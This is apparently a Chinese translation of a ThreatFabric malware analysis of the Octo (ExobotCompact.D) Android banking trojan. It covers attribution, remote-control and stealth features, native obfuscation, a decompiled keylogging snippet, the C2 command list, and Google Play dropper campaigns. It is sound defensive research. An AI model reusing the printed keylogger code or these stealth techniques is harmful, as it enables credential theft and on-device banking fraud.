APK分析常识和最新技术文章
2021 年年中,一种新的 Android 银行恶意软件在野外被发现。虽然一些 AV 公司将其称为“Coper”的新家族,但 ThreatFabric 威胁情报指出它是众所周知的恶意软件家族Exobot的直系后代。Exobot 于 2016 年首次被观察到,基于银行 Trojan Marcher 的源代码,Exobot 一直持续到 2018 年,针对金融机构进行了各种活动,主要针对土耳其、法国和德国以及澳大利亚、泰国和日本。随后,引入了它的“精简”版本,由其作者命名为 ExobotCompact,该威胁参与者在暗网论坛上被称为“android” 。
ThreatFabric 分析师能够在 ExobotCompact 和这个新发现的恶意软件株之间建立直接联系,在我们的 MTI 门户上被称为 ExobotCompact.B。在对 ExobotCompact 进行了一些迭代更新后,最新的变体于 2021 年 11 月推出,称为 ExobotCompact.D。
该恶意软件家族的最新活动及其背后的参与者涉及通过 Google Play 商店中的多个恶意应用程序进行分发。这些应用程序的安装次数超过5 万次,针对的是世界各地的金融组织,既有针对大量目标的广泛和通用的活动,也有针对整个欧洲的非常狭窄和集中的活动。
2022 年 1 月 23 日,ThreatFabric 分析师在一个暗网论坛上发现了一篇帖子,其中一名成员正在寻找 Octo Android 僵尸网络。如本博客所示,进一步分析揭示了 Octo 和 ExobotCompact 之间的直接联系:事实上,ExobotCompact 已更新了多项功能并重新命名为 Octo。该博客涵盖了 ThreatFabric 分析师所做的归因细节,并提供了此 Android 银行木马的作案手法的更多细节。
ExobotCompact 的重大更新带来了远程访问功能,从而允许木马背后的威胁行为者执行设备欺诈(ODF)。ODF 是最危险、最危险和最不显眼的欺诈类型,其中交易是从受害者每天使用的同一设备发起的。在这种情况下,与通过不同渠道执行的其他类型的欺诈相比,反欺诈引擎面临的挑战是识别具有明显更少的可疑指标的欺诈活动。
一般来说,为了远程控制设备,网络犯罪分子需要屏幕流来查看屏幕内容和一些在设备上执行操作的机制。为了建立对受感染设备的远程访问,ExobotCompact.D 依赖于作为 Android 操作系统一部分的内置服务:用于屏幕流的MediaProjection和用于远程执行操作的AccessibilityService 。尽管这个解决方案不能被认为是完全可靠的,但它是一种对设备进行远程控制的现实方式。使用 MediaProjection 的屏幕流式传输基于以高速率(每秒 1 个)发送屏幕截图,这使操作员能够接近实时地表示远程设备上正在发生的事情。
当 ExobotCompact.D 收到“start_vnc”命令时,它会解析与该命令一起发送的配置:
选项 | 描述 |
---|---|
STREAM_SCREEN | 使用 MediaProjection 启用屏幕流式传输 |
黑色的 | 启用黑屏覆盖以隐藏受害者的远程操作 |
沉默的 | 禁用所有通知(无中断模式),将屏幕亮度设置为 0 |
“黑色”和“静音”选项有助于不引起受害者的怀疑,因为由他们引起的所有远程操作和事件都将被隐藏并无形地执行。除了屏幕流,ExobotCompact.D 还能够读取屏幕的所有内容,包括元素的 ID、类型和屏幕上的位置。有了这些信息,参与者就能够在 C2 后端重新创建屏幕布局,并了解设备上安装的任何应用程序的内部结构。稍后在与远程设备交互时使用此信息来指向应该与之交互(即,单击)的元素。
有了这种实时可见性,包括应用程序的内部布局,操作员可以在“vnc_tasks”命令的帮助下发送要在设备上执行的操作。下表列出了支持的操作:
VNC 任务 | 描述 |
---|---|
click_at | 在指定坐标 X、Y 处执行单击 |
手势 | 执行手势 |
设置文本 | 在指定元素中设置指定文本 |
长按 | 执行长按 |
行动 | 执行指定动作 |
设置剪辑 | 将剪贴板文本设置为指定的文本 |
粘贴 | 从剪贴板粘贴数据 |
发送模式 | 根据指定的模式执行手势 |
滚动 | 执行向上/向下滚动 |
我们想指出,木马能够代表受害者执行的这些操作集足以实现(对木马的源代码进行某些更新)自动传输系统(ATS)。在这种情况下,操作员不必手动与远程设备交互,而可以简单地发送一系列动作来执行。它的执行可以导致欺诈交易的自动启动及其授权,而无需操作员手动操作,从而允许更大范围的欺诈。
当 Octo Android 僵尸网络首次在论坛上被提及时,尚不清楚这是什么僵尸网络,是一些新的恶意软件家族还是只是一些知名家族更名。
2022 年 2 月 3 日,另一位成员透露了 Octo 僵尸网络的所有者,他是论坛成员,人称“建筑师”。3 月晚些时候,Architect 确认他/她是 Octo 僵尸网络的所有者和卖家:
建筑师之前的帖子揭示了他/她的技能。电报联系人的搜索显示“建筑师”在另一个论坛上使用的另一个昵称:“goodluck”。
在这个论坛上,“goodluck”提到他/她在 12 月 10 日从零开始编写了私人木马:
在调查 Octo 僵尸网络时,ThreatFabric 分析师发现 ExobotCompact 功能与 Octo 僵尸网络所有者“架构师”的技能之间存在某些相似之处:
“反向源代码保护(使用 C++ 中的本机包装器)” - 正如我们将在本博客中展示的那样,ExobotCompact 使用在本机库中实现的专有有效负载混淆,以保护其免受逆向工程。
“在 Google Play 上发布并获得 100% 批准”——ExobotCompact 被上传到 Google Play 官方商店的几个 dropper 分发。
“禁用 Google Protect”——ExobotCompact 在安装时首先执行的操作之一。
此时 ThreatFabric 分析师假设 Octo 僵尸网络是对 ExobotCompact 的更名,“架构师”要么是源代码的新所有者,要么是 Exobot 和 ExobotCompact.A 背后的同一演员。
为了证明这一假设,ThreatFabric 分析师检查了 ExobotCompact 支持的命令、其功能以及 Octo 银行木马管理员面板上可用的命令。
以下是我们研究结果的摘要:
ExobotCompact 和 Octo 都具有远程访问能力,在这两种情况下都称为“VNC”。
Octo 面板有六种基于时间的配置,可在执行某些操作之前配置延迟。此列表与 ExobotCompact 可以从 C2 接收的延迟完全匹配。一些配置,如“minimize_delay”或“get_device_admin_delay”是独一无二的,我们在除 ExobotCompact 之外的其他恶意软件中没有看到它。
Octo 面板上可用的命令类似于 ExobotCompact 支持的命令,并且不包含 ExobotCompact 代码中不存在的任何命令。
因此,考虑到这些事实,我们得出结论,ExobotCompact 已更名为 Octo Android 银行木马,并由其所有者“Architect”租用,也称为“goodluck”。ThreatFabric 将此变体跟踪为 ExobotCompact.D。
正如上一节所强调的,ExobotCompact/Octo 有几个显着的特性可以帮助它保持低调并执行设备欺诈 (ODF)。Octo 功能的完整列表如下所示:
分析当前的移动威胁形势,很难指出不使用反检测和反分析技术的恶意软件家族。然而,大多数威胁参与者使用提供恶意负载保护的第三方服务(所谓的“加密器”),而 ExobotCompact 实施其作者开发的专有负载保护。ExobotCompact.D 使用本机库来解密和加载恶意负载,这使得分析和检测变得困难。
尽管使用本机库进行混淆的想法并不新鲜,但该实现非常独特,仅被 ExobotCompact 使用过。ExobotCompact 的作者不仅关注新功能的开发,还关注改进有效载荷保护。原生有效载荷混淆的第一个版本相当简单:“解密器”代码本身没有被混淆,易于阅读和分析。在这个本地包装器的最新版本中,作者采取了进一步的措施:本地代码混淆。由于许多防病毒解决方案依赖于基于签名的检测,这种混淆使他们更难检测到恶意活动,因为本机代码不包含“可疑”字符串签名。
以下屏幕截图显示了与最新版本相比,原生包装器的第一个版本中的字符串:
这里使用的混淆技巧并不新鲜,并且广泛用于桌面恶意软件以及一些 Android 银行木马。字符串是在执行本机代码期间通过逐个符号连接动态创建的,如以下屏幕截图所示:
这种方法不仅难以检测恶意载荷,而且使此类样本的分析和自动化处理变得复杂,从而显示了 ExobotCompact/Octo 作者的成熟度和他/她对桌面恶意软件混淆技术的熟悉程度。
就像大多数现代移动恶意软件一样,ExobotCompact 也不例外,它的武器库中具有键盘记录功能。此功能由 AccessibilityService 滥用提供支持:启用此服务的应用程序可以接收所有系统事件(应用程序启动、用户输入、屏幕上显示的内容等)。ExobotCompact 使用它来记录用户在受感染设备上所做的每个操作。ExobotCompact.D 键盘记录功能可以捕获以下数据,其中包括:
用于解锁设备的锁定图案/PIN
在 Google Chrome 浏览器中打开的网站的 URL
点击次数,包括有关被点击元素的信息
输入焦点改变事件
文本更改事件 以下代码片段显示了键盘记录过程:
public void keylogging(AccessibilityEvent acsbEvent) {
String capturedData = AcsbHelper.gitPinPattern(this.ctx, this.getRootActiveWindow());
if(!capturedData.isEmpty()) {
String packageName = AcsbService.goto();
if(!packageName.isEmpty()) {
capturedData = "Package: " + packageName + "; " + capturedData;
}
if(packageName.equals("com.android.chrome")) {
AccessibilityNodeInfo v1_1 = AcsbHelper.break(this.getRootActiveWindow(), "url_bar");
if(v1_1 != null) {
capturedData = "URL: " + v1_1.getText().toString() + "; " + capturedData;
}
}
Misc.sendCapturedData(this.ctx, capturedData);
}
if(!SharedPrefs.getBool(this.ctx, "keylogger_enabled", Boolean.FALSE).booleanValue()) {
return;
}
int keylogger_delay = (int)SharedPrefs.getInt(this.ctx, "keylogger_delay", Integer.valueOf(0));
if(((long)SharedPrefs.getLong(this.ctx, "uptime", Long.valueOf(0L))) < ((long)keylogger_delay)) {
return;
}
String v6 = AcsbHelper.parseAcsbEvent(this.ctx, acsbEvent, AcsbService.goto());
Misc.writeToKeylog(this.ctx, v6);}
下表包含可以从 C2 发送的所有接受的命令:
命令 | 描述 |
---|---|
block_push_apps | 阻止来自指定应用程序的推送通知 |
block_push_delay | 在开始阻止推送通知之前设置延迟 |
外域 | 更新 C2 列表 |
get_device_admin_delay | 在尝试成为设备管理员之前设置延迟 |
注入延迟 | 在开始注射之前设置延迟 |
注入列表 | 设置覆盖攻击的目标应用程序列表 |
拦截关闭 | 禁用短信拦截 |
拦截_on | 启用短信拦截 |
keylogger_delay | 在开始键盘记录之前设置延迟 |
键盘记录器启用 | 启用/禁用键盘记录器 |
杀死机器人 | 停止运行木马 |
锁定 | 停止禁用声音并锁定设备屏幕 |
锁上 | 禁用声音并暂时锁定设备屏幕 |
最小化应用程序 | 设置将使用 GLOBAL_ACTION_HOME 关闭的应用程序列表 |
最小化延迟 | 在开始关闭应用程序之前设置延迟 |
net_delay | 设置网络请求的延迟 |
打开网址 | 打开指定的 URL |
推 | 显示推送通知 |
再次注册 | 再次注册机器人 |
运行应用程序 | 启动指定的应用程序 |
短信 | 从受感染的设备向指定的电话号码发送带有指定文本的文本消息 |
start_fg | 启动前台模式 |
stop_fg | 停止前台模式 |
start_keylogger | 启用键盘记录器 |
stop_keylogger | 禁用键盘记录器 |
卸载应用程序 | 在开始卸载应用程序之前设置延迟 |
卸载延迟 | 设置要卸载的应用程序列表 |
美元 | 执行指定的 USSD 代码 |
vnc_start | 启动远程访问会话 |
vnc_stop | 停止远程访问会话 |
vnc_tasks | 更新要执行的远程操作列表 |
作为一种租赁银行木马,ExobotCompact.D 被多个威胁参与者使用,他们维护着不同的活动。他们中的大多数使用恶意登陆页面以某些软件更新为幌子分发 ExobotCompact.D。但是,一些演员在官方 Google Play 商店中使用 dropper 应用程序使用更具创造性的方法。在本节中,我们将介绍最著名的演员和活动。
我们的威胁情报显示,根据我们看到的 Octo 使用的不同 C2 URL 路径,Octo 背后有超过 5 个不同的参与者,大概包括所有者他/她自己。我们对暗网论坛的调查还揭示了“Architect”/“goodluck”的几个客户,更多详细信息请参阅我们的Mobile Threat Intel 服务用户可用的完整报告。
2022 年 2 月上旬,ThreatFabric 分析师在 Google Play 上发现了一个名为“Fast Cleaner”的 dropper,它实际上是GymDrop dropper Trojan的样本,也是 ThreatFabric 在 2021 年 11 月发现的。该 dropper 安装了 50.000 多个,并被发现分发 ExobotCompact.D以及Alien.A和Xenomorph.A:
该活动几乎在整个 2022 年 2 月都处于活跃状态,主要针对来自西班牙、比利时、葡萄牙、意大利的欧洲银行用户。同一行为者使用恶意登录页面以浏览器更新为幌子安装 ExobotCompact.D:
Fast Cleaner 活动结束后不久,ThreatFabric 分析师在 Google Play 上发现了另一个 GymDrop 滴管,冒充屏幕录制应用程序。然而,与之前的活动不同的是,这个 dropper 只被发现分发 ExobotCompact.D 而没有其他恶意软件系列。此外,dropper 本身只允许为来自英国、波兰、西班牙和葡萄牙的用户安装。正如我们之前指出的,C2 及其路径很可能与 ExobotCompact.D 背后的独特威胁参与者相关。基于这一事实,同一行为者正在运行木马冒充 Google Chrome 更新的正在进行的活动。这一事实解释了几乎来自世界各地的大量覆盖目标:演员使用相同的 C2 来运营不同的活动,全球范围内并专注于欧洲用户:
ExobotCompact.D 背后的另一位演员似乎高度关注几家欧洲银行的客户,并正在使用他们的图标和应用程序名称来引诱受害者安装应用程序。执行覆盖攻击的目标应用程序的一个相当短的列表也表明了具体的重点。这些申请属于德国和奥地利的金融机构:
该活动背后的参与者首先使用了一个相当大的目标列表,其中包括大约 70 个应用程序,但在撰写本报告时,它也高度关注来自特定国家(匈牙利)的客户,并以 Play 为幌子分发 ExobotCompact.D通过恶意网站更新商店:
除了上述威胁行为者之外,还有一些行为者使用不同的面具来引诱受害者安装应用程序,从而启动和测试不同的活动和不同的面具。这些包括已经提到的谷歌浏览器、金融应用程序、信使(即 WhatsApp)等的更新。
ExobotCompact.D 是现代移动银行恶意软件的一个很好的例子。更名为 Octo 消除了以前与 Exobot 源代码泄漏的联系,邀请多个威胁参与者寻找机会租用据称是新的和原始的木马。它的功能不仅使受覆盖攻击的明确目标应用程序处于危险之中,而且安装在受感染设备上的任何应用程序(如 ExobotCompact/Octo)都能够读取屏幕上显示的任何应用程序的内容,并为攻击者提供足够的信息以远程进行与之交互并执行设备欺诈 (ODF)。此外,这些包括在屏幕上显示 OTP 代码的所有身份验证器应用程序。
ExobotCompact/Octo 具有危险的功能,由创新的分发方案提供支持,包括官方 Google Play 商店上的 dropper 和恶意登录页面。因此,客户很可能会在他们的设备上安装恶意软件,从而允许攻击者远程访问他们的设备,从而访问他们的银行账户。为了正确检测可能的 ODF,我们建议金融机构拥有强大的客户端检测解决方案,该解决方案不仅可以通过签名检测恶意软件(ExobotCompact 证明它可能无用),还可以通过其恶意行为检测恶意软件。
我们的移动威胁情报 (MTI) 服务使金融机构能够更好地了解移动银行恶意软件日益增加的威胁。使用 MTI 的银行了解哪些恶意软件活动针对他们的移动渠道,以及他们的移动银行用户如何受到影响。
通过我们的客户端检测 (CSD) 服务,我们正在帮助金融机构了解移动银行恶意软件的(潜在)欺诈行为,并加以预防。
上一篇:没有了!
下一篇:解密Android智能机挖矿木马